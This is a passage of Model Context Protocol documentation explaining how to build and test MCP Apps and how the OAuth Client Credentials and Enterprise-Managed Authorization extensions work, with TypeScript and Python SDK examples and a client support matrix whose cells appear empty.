sessionIdGenerator: undefined,
enableJsonResponse: true,
});
res.on("close", () => transport.close());
await server.connect(transport);
await transport.handleRequest(req, res, req.body);
});
expressApp.listen(3001, (err) => {
if (err) {
console.error("Error starting server:", err);
process.exit(1);
}
console.log("Server listening on http://localhost:3001/mcp");
});
```
Let's break down the key parts:
* **`resourceUri`**: The `ui://` scheme tells hosts this is an MCP App resource.
The path structure is arbitrary.
* **`registerAppTool`**: Registers a tool with the `_meta.ui.resourceUri` field.
When the host calls this tool, the UI is fetched and rendered, and the tool result is passed to it upon arrival.
* **`registerAppResource`**: Serves the bundled HTML when the host requests the UI resource.
* **Express server**: Exposes the MCP server over HTTP on port 3001.
### UI implementation
The UI consists of an HTML page and a TypeScript module that uses the `App`
class to communicate with the host. Here's the HTML:
```html theme={null}
Get Time App
Server Time:Loading...
```
And the TypeScript module:
```typescript theme={null}
// src/mcp-app.ts
import { App } from "@modelcontextprotocol/ext-apps";
const serverTimeEl = document.getElementById("server-time")!;
const getTimeBtn = document.getElementById("get-time-btn")!;
const app = new App({ name: "Get Time App", version: "1.0.0" });
// Establish communication with the host
app.connect();
// Handle the initial tool result pushed by the host
app.ontoolresult = (result) => {
const time = result.content?.find((c) => c.type === "text")?.text;
serverTimeEl.textContent = time ?? "[ERROR]";
};
// Proactively call tools when users interact with the UI
getTimeBtn.addEventListener("click", async () => {
const result = await app.callServerTool({
name: "get-time",
arguments: {},
});
const time = result.content?.find((c) => c.type === "text")?.text;
serverTimeEl.textContent = time ?? "[ERROR]";
});
```
The key parts:
* **`app.connect()`**: Establishes communication with the host. Call this once
when your app initializes.
* **`app.ontoolresult`**: A callback that fires when the host pushes a tool
result to your app (e.g., when the tool is first called and the UI renders).
* **`app.callServerTool()`**: Lets your app proactively call tools on the server.
Keep in mind that each call involves a round-trip to the server, so design your
UI to handle latency gracefully.
The `App` class provides additional methods for logging, opening URLs, and
updating the model's context with structured data from your app. See the full
[API documentation](https://apps.extensions.modelcontextprotocol.io/api/).
## Testing your app
To test your MCP App, build the UI and start your local server:
```bash macOS/Linux theme={null}
npm run build && npm run serve
```
```powershell Windows theme={null}
npm run build; npm run serve
```
In the default configuration, your server will be available at
`http://localhost:3001/mcp`. However, to see your app render, you need an MCP
host that supports MCP Apps. You have several options.
### Testing with Claude
[Claude](https://claude.ai) (web) and [Claude Desktop](https://claude.ai/download)
support MCP Apps. For local development, you'll need to expose your server to
the internet. You can run an MCP server locally and use tools like `cloudflared`
to tunnel traffic through.
In a separate terminal, run:
```bash theme={null}
npx cloudflared tunnel --url http://localhost:3001
```
Copy the generated URL (e.g., `https://random-name.trycloudflare.com`) and add it
as a [custom connector](https://support.anthropic.com/en/articles/11175166-getting-started-with-custom-connectors-using-remote-mcp)
in Claude - click on your profile, go to **Settings**, **Connectors**, and
finally **Add custom connector**.
Custom connectors are available on paid Claude plans (Pro, Max, or Team).
### Testing with the basic-host
The `ext-apps` repository includes a test host for development. Clone the repo and
install dependencies:
```bash macOS/Linux theme={null}
git clone https://github.com/modelcontextprotocol/ext-apps.git
cd ext-apps/examples/basic-host
npm install
```
```powershell Windows theme={null}
git clone https://github.com/modelcontextprotocol/ext-apps.git
cd ext-apps\examples\basic-host
npm install
```
Running `npm start` from `ext-apps/examples/basic-host/` will start the basic-host
test interface. To connect it to a specific server (e.g., one you're developing),
pass the `SERVERS` environment variable inline:
```bash macOS/Linux theme={null}
SERVERS='["http://localhost:3001/mcp"]' npm start
```
```powershell Windows theme={null}
$env:SERVERS='["http://localhost:3001/mcp"]'; npm start
```
Navigate to `http://localhost:8080`. You'll see a simple interface where you can
select a tool and call it. When you call your tool, the host fetches the UI
resource and renders it in a sandboxed iframe. You can then interact with your
app and verify that tool calls work correctly.
## Learn more
Full SDK reference and API details
Source code, examples, and issue tracker
Technical specification for implementers
## Feedback
MCP Apps is under active development. If you encounter issues or have ideas for
improvements, open an issue on the
[GitHub repository](https://github.com/modelcontextprotocol/ext-apps/issues).
For broader discussions about the extension's direction, join the conversation
in [GitHub Discussions](https://github.com/modelcontextprotocol/ext-apps/discussions).
# MCP Apps
Source: https://modelcontextprotocol.io/extensions/apps/overview
Interactive UI applications that render inside MCP hosts like Claude Desktop
For comprehensive API documentation, advanced patterns, and the full specification, visit the [official MCP Apps documentation](https://apps.extensions.modelcontextprotocol.io).
Text responses can only go so far. Sometimes users need to interact with data, not
just read about it. MCP Apps let servers return interactive HTML interfaces (data
visualizations, forms, dashboards) that render directly in the chat.
## Why not just build a web app?
You could build a standalone web app and send users a link. However, MCP Apps
offer these key advantages that a separate page can't match:
* **Context preservation.** The app lives inside the conversation. Users don't
switch tabs, lose their place, or wonder which chat thread had that dashboard.
The UI is right there, alongside the discussion that led to it.
* **Bidirectional data flow.** Your app can call any tool on the MCP server, and
the host can push fresh results to your app. A standalone web app would need its
own API, authentication, and state management. MCP Apps get this via existing
MCP patterns.
* **Integration with the host's capabilities**. The app can delegate actions to the host, which can then invoke the capabilities and tools the user has already connected (subject to user consent). Instead of every app implementing and maintaining direct integrations (e.g., email providers), the app can request an outcome (like "schedule this meeting"), and the host routes it through the user's existing connected capabilities.
* **Security guarantees.** MCP Apps run in a sandboxed iframe controlled by the
host. They can't access the parent page, steal cookies, or escape their
container. This means hosts can safely render third-party apps without trusting
the server author completely.
If your use case doesn't benefit from these properties, a regular web app might
be simpler. But if you want tight integration with the LLM-based conversation,
MCP Apps are a much better tool.
## How MCP Apps work
Traditional MCP tools return text, images, resources or structured data that the host displays as
part of the conversation. MCP Apps extend this pattern by allowing tools to
declare a reference to an interactive UI in their tool description that the host
renders in place.
The core pattern combines two MCP primitives: a tool that declares a UI resource
in its description, plus a UI resource that renders data as an interactive HTML
interface.
When a large language model (LLM) decides to call a tool that supports MCP Apps,
here's what happens:
1. **UI preloading**: The tool description includes a `_meta.ui.resourceUri`
field pointing to a `ui://` resource. The host can preload this resource before
the tool is even called, enabling features like streaming tool inputs to the
app.
2. **Resource fetch**: The host fetches the UI resource from the server. This
resource contains an HTML page, often bundled with its JavaScript and CSS for
simplicity. Apps can also load external scripts and resources from origins
specified in `_meta.ui.csp`.
3. **Sandboxed rendering**: Web hosts typically render the HTML inside a
sandboxed [iframe](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe)
within the conversation. The sandbox restricts the app's access to the parent
page, ensuring security. The resource's `_meta.ui` object can include
`permissions` to request additional capabilities (e.g., microphone, camera)
and `csp` to control what external origins the app can load resources from.
4. **Bidirectional communication**: The app and host communicate through a
JSON-RPC protocol that forms its own dialect of MCP. Some requests and
notifications are shared with the core MCP protocol (e.g., `tools/call`), some
are similar (e.g., `ui/initialize`), and most are new with a `ui/` method name
prefix. The app can request tool calls, send messages, update the model's
context, and receive data from the host.
```mermaid theme={null}
sequenceDiagram
participant User
participant Agent
participant App as MCP App iframe
participant Server as MCP Server
User->>Agent: "show me analytics"
Note over User,App: Interactive app rendered in chat
Agent->>Server: tools/call
Server-->>Agent: tool input/result
Agent-->>App: tool result pushed to app
User->>App: user interacts
App->>Agent: tools/call request
Agent->>Server: tools/call (forwarded)
Server-->>Agent: fresh data
Agent-->>App: fresh data
Note over User,App: App updates with new data
App-->>Agent: context update
```
The app stays isolated from the host but can still call MCP tools through the
secure postMessage channel.
## When to use MCP Apps
MCP Apps are a good fit when your use case involves:
**Exploring complex data.** A user asks "show me sales by region." A text
response might list numbers, but an MCP App can render an interactive map where
users click regions to drill down, hover for details, and toggle between
metrics, all without additional prompts.
**Configuring with many options.** Setting up a deployment involves dozens of
interdependent choices. Rather than a back-and-forth conversation ("Which
region?" "What instance size?" "Enable autoscaling?"), an MCP App presents a
form where users see all options at once, with validation and defaults.
**Viewing rich media.** When a user asks to review a PDF, see a 3D model, or
preview generated images, text descriptions fall short. An MCP App embeds the
actual viewer (pan, zoom, rotate) directly in the conversation.
**Real-time monitoring.** A dashboard showing live metrics, logs, or system
status needs continuous updates. An MCP App maintains a persistent connection,
updating the display as data changes without requiring the user to ask "what's
the status now?"
**Multi-step workflows.** Approving expense reports, reviewing code changes, or
triaging issues involves examining items one by one. An MCP App provides
navigation controls, action buttons, and state that persists across
interactions.
## Security model
MCP Apps run in a sandboxed
[iframe](https://developer.mozilla.org/docs/Web/HTML/Element/iframe), which
provides strong isolation from the host application. The sandbox prevents your
app from accessing the parent window's
[DOM](https://developer.mozilla.org/docs/Web/API/Document_Object_Model), reading
the host's cookies or local storage, navigating the parent page, or executing
scripts in the parent context.
All communication between your app and the host goes through the
[postMessage API](https://developer.mozilla.org/docs/Web/API/Window/postMessage).
The host controls which capabilities your app can access. For example, a host
might restrict which tools an app can call or disable the `sendOpenLink` capability.
The sandbox is designed to prevent apps from escaping to access the host or user data.
## Framework support
MCP Apps use their own dialect of MCP, built on JSON-RPC like the core protocol.
Some messages are shared with regular MCP (e.g., `tools/call`), while others are
specific to apps (e.g., `ui/initialize`). The transport is
[postMessage](https://developer.mozilla.org/docs/Web/API/Window/postMessage)
instead of stdio or HTTP. Since it's all standard web primitives, you can use any
framework or none at all.
The `App` class from `@modelcontextprotocol/ext-apps` is a convenience wrapper,
not a requirement. You can implement the
[postMessage protocol](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/2026-01-26/apps.mdx)
directly if you prefer to avoid dependencies or need tighter control.
The [examples directory](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)
includes starter templates for React, Vue, Svelte, Preact, Solid, and vanilla
JavaScript. These demonstrate recommended patterns for each framework's system,
but they're examples rather than requirements. You can choose whatever works
best for your use case.
## Client support
MCP Apps is an extension to the [core MCP specification](/specification/latest). Host support varies by client.
MCP Apps are currently supported by [Claude](https://claude.ai),
[Claude Desktop](https://claude.ai/download),
[VS Code GitHub Copilot](https://code.visualstudio.com/), [Microsoft 365 Copilot](https://www.microsoft.com/microsoft-365-copilot), [Goose](https://block.github.io/goose/), [Postman](https://postman.com), [MCPJam](https://www.mcpjam.com/), and [Archestra.AI](https://www.archestra.ai/). See the
[client matrix](/extensions/client-matrix) for the full list of extension support across clients.
If you're building an MCP client and want to support MCP Apps, you have two options:
1. **Use a framework**: The [`@mcp-ui/client`](https://github.com/MCP-UI-Org/mcp-ui)
package provides React components for rendering and interacting with MCP Apps
views in your host application. See the
[MCP-UI documentation](https://mcpui.dev/) for usage details.
2. **Build on AppBridge**: The SDK includes an
[**App Bridge**](https://apps.extensions.modelcontextprotocol.io/api/modules/app-bridge.html)
module that handles rendering apps in sandboxed iframes, message passing, tool
call proxying, and security policy enforcement. The
[basic-host example](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-host)
shows how to integrate it.
See the [API documentation](https://apps.extensions.modelcontextprotocol.io/api/)
for implementation details.
## Examples
The [ext-apps repository](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples)
includes ready-to-run examples demonstrating different use cases:
* **3D and visualization**:
[map-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/map-server)
(CesiumJS globe),
[threejs-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/threejs-server)
(Three.js scenes),
[shadertoy-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/shadertoy-server)
(shader effects)
* **Data exploration**:
[cohort-heatmap-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/cohort-heatmap-server),
[customer-segmentation-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/customer-segmentation-server),
[wiki-explorer-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/wiki-explorer-server)
* **Business applications**:
[scenario-modeler-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/scenario-modeler-server),
[budget-allocator-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/budget-allocator-server)
* **Media**:
[pdf-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/pdf-server),
[video-resource-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/video-resource-server),
[sheet-music-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/sheet-music-server),
[say-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/say-server)
(text-to-speech)
* **Utilities**:
[qr-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/qr-server),
[system-monitor-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/system-monitor-server),
[transcript-server](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/transcript-server)
(speech-to-text)
* **Starter templates**:
[React](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-react),
[Vue](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vue),
[Svelte](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-svelte),
[Preact](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-preact),
[Solid](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-solid),
[vanilla JavaScript](https://github.com/modelcontextprotocol/ext-apps/tree/main/examples/basic-server-vanillajs)
To start building your own MCP App, see the [build guide](/extensions/apps/build).
# Enterprise-Managed Authorization
Source: https://modelcontextprotocol.io/extensions/auth/enterprise-managed-authorization
Centralized access control for MCP in enterprise environments via identity providers
The Enterprise-Managed Authorization extension (`io.modelcontextprotocol/enterprise-managed-authorization`) enables organizations to control MCP server access centrally through their existing identity provider (IdP). Instead of each employee authorizing each MCP server individually, the organization's IT or security team manages access policies in one place.
Full technical specification for the Enterprise-Managed Authorization
extension.
## What it is
In a standard MCP deployment, each user independently authorizes an MCP client to access each MCP server. For consumer applications, this user-driven model is ideal — it gives individuals control over what accesses their data.
In enterprise environments, this model creates friction and security gaps:
* Employees shouldn't need to understand the authorization details of every MCP server their organization uses
* Security teams can't enforce consistent access policies if each user authorizes independently
* Onboarding new employees requires them to manually authorize dozens of services
* Offboarding requires revoking access across every service individually
Enterprise-Managed Authorization solves this by introducing the organization's IdP as the authoritative decision-maker. The IdP (such as Okta, Azure AD, or a corporate SSO system) controls which MCP servers employees can access, and under what conditions. Employees authenticate with their corporate identity — the same credentials they use for email, Slack, and other work tools — and the IdP grants or denies MCP server access based on organizational policy.
## When to use it
Use Enterprise-Managed Authorization when:
* **Deploying MCP in a corporate environment** where IT manages access to all business applications
* **Enforcing organizational access policies** — you need to ensure only authorized employees access specific MCP servers
* **Centralizing access control** — you want to add or revoke access to MCP servers from a single admin console
* **Meeting compliance requirements** — your organization needs an auditable authorization trail for all MCP server access
* **Simplifying employee experience** — employees should access MCP tools with their existing corporate SSO credentials, without per-service authorization flows
## How it works
The extension establishes a delegated authorization flow where the enterprise IdP acts as an intermediary between the MCP client and the MCP server. The MCP Client requests a special type of token from the enterprise IdP called an Identity Assertion JWT Authorization Grant, or ID-JAG. The MCP Client then exchanges the ID-JAG for an access token from the MCP server's Authorization Server:
```mermaid theme={null}
sequenceDiagram
participant UA as Browser
participant C as MCP Client
participant IdP as Enterprise IdP
participant MAS as MCP Authorization Server
participant MRS as MCP Resource Server
C-->>UA: Redirect to IdP
UA->>IdP: Redirect to IdP
Note over IdP: User Logs In
IdP-->>UA: IdP Authorization Code
UA->>C: IdP Authorization Code
C->>IdP: Token Request with IdP Authorization Code
IdP-->>C: ID Token
note over C: User is logged in to MCP Client. Client stores ID Token.
C->>IdP: Exchange ID Token for ID-JAG
note over IdP: Evaluate Policy
IdP-->>C: Responds with ID-JAG
C->>MAS: Token Request with ID-JAG
note over MAS: Validate ID-JAG
MAS-->>C: MCP Access Token
loop
C->>MRS: Call MCP API with Access Token
MRS-->>C: MCP Response with Data
end
```
Key aspects of the flow:
1. **Centralized policy**: The enterprise IdP maintains a registry of approved MCP servers and the access policies for each. Administrators configure these in their existing identity management tools.
2. **Single sign-on**: Employees authenticate with their corporate credentials once. The IdP issues tokens that grant access to approved MCP servers without additional per-server authorization prompts.
3. **Policy enforcement**: The IdP evaluates access policies (group membership, role assignments, conditional access rules) before issuing tokens. Employees who lack authorization receive an appropriate error — the MCP client never receives a token for unauthorized servers.
4. **Centralized revocation**: Revoking an employee's access to MCP servers happens at the IdP level, taking effect immediately across all MCP clients. No per-client, per-server revocation needed.
## Implementation guide
### For MCP clients
To support Enterprise-Managed Authorization, your client must:
1. **Declare support** in its per-request capabilities:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "...",
"params": {
// Other fields...
"_meta": {
// Other fields...
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/enterprise-managed-authorization": {},
},
},
},
},
}
```
2. **Support SSO** — users should authenticate to the MCP Client using the enterprise IdP. Save the Identity Assertion (either an OpenID ID Token or SAML assertion) issued during login for later use.
3. **Handle ID-JAGs** — when the server indicates that enterprise-managed auth is required, request an ID-JAG token from the enterprise IdP's authorization endpoint using the previously obtained Identity Assertion. Exchange this ID-JAG for an access token from the MCP Authorization Server. Do not redirect the user to the MCP Authorization Server's authorization endpoint.
4. **Support organization configuration** — allow administrators to configure the enterprise IdP's endpoints, typically via organization-level settings rather than per-user settings.
5. **Respect token scopes** — tokens issued by enterprise IdPs may have scope restrictions that differ from standard MCP authorization. Handle scope errors gracefully.
### For MCP servers
To require enterprise-managed authorization:
1. **Declare the extension** in your server's authorization metadata, indicating that clients must use the enterprise-managed flow.
2. **Integrate with IdP admin APIs** (optional) — publish your server's resource descriptor so enterprise administrators can configure access policies in their IdP admin console.
### For MCP Authorization Servers
1. **Validate ID-JAGs** issued by the enterprise IdP. This typically means validating JWT signatures against the IdP's JWKS endpoint and checking the token's audience, issuer, and expiration.
2. **Map IdP claims to permissions** — ID-JAG tokens carry claims (scope and resource information) that your server uses to determine who the employee is and what the employee can access. Define your authorization logic based on these claims.
3. **Handle Account Linking** - ID-JAG tokens will always contain a subject claim and may additionally contain an email claim that can be used to link the enterprise identity to an existing account in your system. Use the subject claim as the primary stable identifier for the user, and fall back to the email claim for matching against pre-existing accounts that were created before enterprise-managed authorization was configured.
## Client support
Support for this extension varies by client. Extensions are opt-in and never active by default.
Check the [client matrix](/extensions/client-matrix) for current implementation status across MCP clients. Enterprise-Managed Authorization typically requires client-level support from the organization's IT team in addition to the MCP client application.
## Related resources
Source code and reference implementations
Technical specification with normative requirements
Original proposal: Enable Enterprise IdP Policy Controls
Core MCP authorization specification
# OAuth Client Credentials
Source: https://modelcontextprotocol.io/extensions/auth/oauth-client-credentials
Machine-to-machine authentication for MCP using the OAuth 2.0 client credentials flow
The OAuth Client Credentials extension (`io.modelcontextprotocol/oauth-client-credentials`) adds support for the [OAuth 2.0 client credentials flow](https://datatracker.ietf.org/doc/html/rfc6749#section-4.4) to MCP. This enables automated systems to connect to MCP servers without interactive user authorization.
Full technical specification for the OAuth Client Credentials extension.
## What it is
The standard MCP authorization flow requires a user to interactively approve access — a browser opens, the user logs in, and grants permission. That works well for humans, but breaks down when there's no user present.
The OAuth Client Credentials extension solves this by letting a client authenticate using application-level credentials (a client ID and secret, or a signed JWT assertion) rather than delegated user credentials. The client proves its identity directly to the authorization server, which issues an access token without requiring a browser redirect or user interaction.
## When to use it
Use OAuth Client Credentials when:
* **Background services** need to call MCP tools on a schedule or in response to events, without a user present
* **CI/CD pipelines** invoke MCP servers as part of automated build, test, or deployment workflows
* **Server-to-server integrations** connect two backend systems where there's no end user involved
* **Daemon processes** or long-running workers need persistent access to MCP resources
If your integration has a human user who should explicitly authorize access, use the standard MCP authorization flow instead.
## How it works
The extension supports two credential formats:
### JWT Bearer Assertions (recommended)
Defined in [RFC 7523](https://datatracker.ietf.org/doc/html/rfc7523), JWT Bearer Assertions let the client sign a token with its private key and present it as proof of identity. The authorization server validates the signature using the client's registered public key.
```mermaid theme={null}
sequenceDiagram
participant Client
participant AS as Authorization Server
participant MCP as MCP Server
Client->>AS: POST /token grant_type=urn:ietf:params: oauth:grant-type:jwt-bearer assertion=
AS-->>Client: access_token
Client->>MCP: MCP request (Bearer token)
```
The JWT assertion typically includes:
* `iss`: Client ID (the issuer)
* `sub`: Client ID (subject being authenticated)
* `aud`: Authorization server token endpoint URL
* `exp`: Expiration time
* `iat`: Issued-at time
### Client Secrets
For simpler deployments, the extension also supports the standard client credentials flow using a `client_id` and `client_secret`. The client sends its credentials directly to the authorization server's token endpoint and receives an access token in return.
```mermaid theme={null}
sequenceDiagram
participant Client
participant AS as Authorization Server
participant MCP as MCP Server
Client->>AS: POST /token grant_type=client_credentials client_id + client_secret
AS-->>Client: access_token
Client->>MCP: MCP request (Bearer token)
```
Client secrets are **long-lived credentials** that grant access without user interaction. If a secret is leaked, an attacker can silently authenticate as your application until the secret is rotated. To reduce risk:
* Store secrets in a secrets manager, never in source code or environment files checked into version control.
* Rotate secrets on a regular schedule and immediately after any suspected compromise.
* Scope credentials to the minimum permissions required.
* Prefer JWT assertions when possible — they are short-lived and do not require transmitting the signing key.
## Implementation guide
### For MCP clients
To use the OAuth Client Credentials extension, your client must:
Include the extension in its per-request capabilities:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"method": "...",
"params": {
// Other fields...
"_meta": {
// Other fields...
"io.modelcontextprotocol/clientCapabilities": {
"extensions": {
"io.modelcontextprotocol/oauth-client-credentials": {},
},
},
},
},
}
```
Request a token from the authorization server using the client credentials grant before connecting to the MCP server.
Pass the token in the `Authorization` header of HTTP requests to the MCP server:
```
Authorization: Bearer
```
Client credentials tokens typically have shorter lifetimes than user-delegated tokens. Implement token refresh logic to obtain a new token before expiry.
### For MCP servers
To accept client credentials tokens, your server must:
On each request, verify the JWT signature and claims against your authorization server's public keys (usually via a JWKS endpoint).
Ensure the token includes the required scopes for the requested operation.
Optionally (but recommended for discoverability), include the extension in the `server/discover` response:
```jsonc theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
// Other fields...
"capabilities": {
"extensions": {
"io.modelcontextprotocol/oauth-client-credentials": {},
},
},
},
}
```
## SDK examples
The official MCP SDKs provide built-in support for client credentials authentication. Both handle token acquisition and refresh automatically.
```bash theme={null}
npm install @modelcontextprotocol/client
```
```bash theme={null}
pip install mcp
```
Choose the credential format that matches your setup:
#### Using a client secret
```typescript theme={null}
import {
Client,
ClientCredentialsProvider,
StreamableHTTPClientTransport,
} from "@modelcontextprotocol/client";
const provider = new ClientCredentialsProvider({
clientId: "my-service",
clientSecret: "s3cr3t",
});
const client = new Client(
{ name: "my-service", version: "1.0.0" },
{ capabilities: {} },
);
const transport = new StreamableHTTPClientTransport(
new URL("https://mcp.example.com/mcp"),
{ authProvider: provider },
);
await client.connect(transport);
// Use the client
const tools = await client.listTools();
console.log(
"Available tools:",
tools.tools.map((t) => t.name),
);
await transport.close();
```
```python theme={null}
import asyncio
import httpx2
from mcp import Client
from mcp.client.auth.extensions.client_credentials import (
ClientCredentialsOAuthProvider,
)
from mcp.client.streamable_http import streamable_http_client
from mcp.shared.auth import OAuthClientInformationFull, OAuthToken
class InMemoryTokenStorage:
def __init__(self) -> None:
self.tokens: OAuthToken | None = None
self.client_info: OAuthClientInformationFull | None = None
async def get_tokens(self) -> OAuthToken | None:
return self.tokens
async def set_tokens(self, tokens: OAuthToken) -> None:
self.tokens = tokens
async def get_client_info(self) -> OAuthClientInformationFull | None:
return self.client_info
async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:
self.client_info = client_info
provider = ClientCredentialsOAuthProvider(
server_url="https://mcp.example.com/mcp",
storage=InMemoryTokenStorage(),
client_id="my-service",
client_secret="s3cr3t",
scopes="read write",
)
async def main() -> None:
async with httpx2.AsyncClient(auth=provider) as http_client:
transport = streamable_http_client(
"https://mcp.example.com/mcp",
http_client=http_client,
)
async with Client(transport) as client:
# Use the client
tools = await client.list_tools()
print("Available tools:", [t.name for t in tools.tools])
if __name__ == "__main__":
asyncio.run(main())
```
#### Using a JWT private key
```typescript theme={null}
import {
Client,
PrivateKeyJwtProvider,
StreamableHTTPClientTransport,
} from "@modelcontextprotocol/client";
const provider = new PrivateKeyJwtProvider({
clientId: "my-service",
privateKey: process.env.CLIENT_PRIVATE_KEY_PEM,
algorithm: "RS256",
});
const client = new Client(
{ name: "my-service", version: "1.0.0" },
{ capabilities: {} },
);
const transport = new StreamableHTTPClientTransport(
new URL("https://mcp.example.com/mcp"),
{ authProvider: provider },
);
await client.connect(transport);
// Use the client
const tools = await client.listTools();
console.log(
"Available tools:",
tools.tools.map((t) => t.name),
);
await transport.close();
```
```python theme={null}
import asyncio
from pathlib import Path
import httpx2
from mcp import Client
from mcp.client.auth.extensions.client_credentials import (
PrivateKeyJWTOAuthProvider,
SignedJWTParameters,
)
from mcp.client.streamable_http import streamable_http_client
from mcp.shared.auth import OAuthClientInformationFull, OAuthToken
class InMemoryTokenStorage:
def __init__(self) -> None:
self.tokens: OAuthToken | None = None
self.client_info: OAuthClientInformationFull | None = None
async def get_tokens(self) -> OAuthToken | None:
return self.tokens
async def set_tokens(self, tokens: OAuthToken) -> None:
self.tokens = tokens
async def get_client_info(self) -> OAuthClientInformationFull | None:
return self.client_info
async def set_client_info(self, client_info: OAuthClientInformationFull) -> None:
self.client_info = client_info
# Create a signed JWT assertion provider from key parameters
jwt_params = SignedJWTParameters(
issuer="my-service",
subject="my-service",
signing_key=Path("private_key.pem").read_text(),
signing_algorithm="RS256",
lifetime_seconds=300,
)
provider = PrivateKeyJWTOAuthProvider(
server_url="https://mcp.example.com/mcp",
storage=InMemoryTokenStorage(),
client_id="my-service",
assertion_provider=jwt_params.create_assertion_provider(),
scopes="read write",
)
async def main() -> None:
async with httpx2.AsyncClient(auth=provider) as http_client:
transport = streamable_http_client(
"https://mcp.example.com/mcp",
http_client=http_client,
)
async with Client(transport) as client:
# Use the client
tools = await client.list_tools()
print("Available tools:", [t.name for t in tools.tools])
if __name__ == "__main__":
asyncio.run(main())
```
## Client support
Support for this extension varies by client. Extensions are opt-in and never active by default.
Check the [client matrix](/extensions/client-matrix) for current implementation status across MCP clients.
## Related resources
Source code and reference implementations
Technical specification with normative requirements
The underlying OAuth 2.0 specification
JWT assertion format specification
# Authorization Extensions
Source: https://modelcontextprotocol.io/extensions/auth/overview
Supplementary authorization mechanisms for the Model Context Protocol
The [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth) contains official MCP extensions that add authorization capabilities beyond the core MCP specification. These extensions address specific real-world scenarios where the standard OAuth 2.0 authorization code flow isn't the right fit.
Source code, specifications, and reference implementations for MCP
authorization extensions.
## Why authorization extensions?
The core MCP specification includes a robust [authorization framework](/specification/latest/basic/authorization) built on OAuth 2.0. That framework handles the common case well: a user interactively grants an MCP client permission to access a server on their behalf.
But not every MCP deployment fits this pattern:
* **Machine-to-machine integrations** don't have a human in the loop. Background services, CI pipelines, and automated workflows need to authenticate without interactive user consent flows.
* **Enterprise environments** often have centralized identity providers (IdPs) that enforce policy across all applications. Requiring employees to authorize each MCP server individually creates friction and bypasses existing security controls.
The ext-auth extensions address these gaps.
## Available extensions
Machine-to-machine authentication using the OAuth 2.0 client credentials
flow. No user interaction required.
Centralized access control via enterprise identity providers. Employees
access MCP servers through their organization's IdP.
## Choosing the right extension
| Scenario | Recommended extension |
| ---------------------------------------------------- | ------------------------------------------------------------------------------------- |
| Background service or daemon accessing an MCP server | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) |
| CI/CD pipeline calling MCP tools | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) |
| Server-to-server API integration | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) |
| Enterprise employees accessing MCP servers at work | [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) |
| Organization-wide MCP access policy enforcement | [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) |
| Standard interactive user authorization | Core MCP spec (no extension needed) |
## Client support
Authorization extension support varies by client. See the [client matrix](/extensions/client-matrix) for a full breakdown. Both extensions require explicit support from the MCP client — they are never active by default.
## Specification
Both extensions are specified in the [ext-auth repository](https://github.com/modelcontextprotocol/ext-auth/tree/main/specification/draft). They use the standard MCP [extension negotiation](/extensions/overview#negotiation) mechanism: clients declare support in the `extensions` field of the `io.modelcontextprotocol/clientCapabilities` they send in each request's `_meta`, and servers advertise theirs in the capabilities returned by [`server/discover`](/specification/draft/server/discover).
# Extension Support Matrix
Source: https://modelcontextprotocol.io/extensions/client-matrix
Which MCP clients implement which official extensions
This matrix shows which MCP clients support each [official extension](/extensions/overview). Extensions are always opt-in: a client only uses an extension if both client and server declare support in the `extensions` field of their [capabilities](/extensions/overview#negotiation).
This list is maintained by the community. If you notice any inaccuracies or would like to add or update information, please [submit a pull request](https://github.com/modelcontextprotocol/modelcontextprotocol/pulls).
## Extension overview
| Extension | Identifier | Description |
| ------------------------------------------------------------------------------------- | ---------------------------------------------------------- | --------------------------------------------------------------- |
| [MCP Apps](/extensions/apps/overview) | `io.modelcontextprotocol/ui` | Interactive HTML interfaces rendered inline in the conversation |
| [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | `io.modelcontextprotocol/oauth-client-credentials` | Machine-to-machine auth without interactive user login |
| [Enterprise-Managed Authorization](/extensions/auth/enterprise-managed-authorization) | `io.modelcontextprotocol/enterprise-managed-authorization` | Centralized access control via enterprise IdP |
## Support matrix
| Client | [MCP Apps](/extensions/apps/overview) | [OAuth Client Credentials](/extensions/auth/oauth-client-credentials) | [Enterprise Auth](/extensions/auth/enterprise-managed-authorization) |
| ------------------------------------------------------------------------ | :-----------------------------------: | :-------------------------------------------------------------------: | :------------------------------------------------------------------: |
| [Claude (web)](https://claude.ai) | | | |
| [Claude Desktop](https://claude.ai/download) | | | |
| [VS Code GitHub Copilot](https://code.visualstudio.com/) | | | |
| [Microsoft 365 Copilot](https://www.microsoft.com/microsoft-365-copilot) | | | |
| [Goose](https://block.github.io/goose/) | | | |
| [Postman](https://postman.com) | | | |
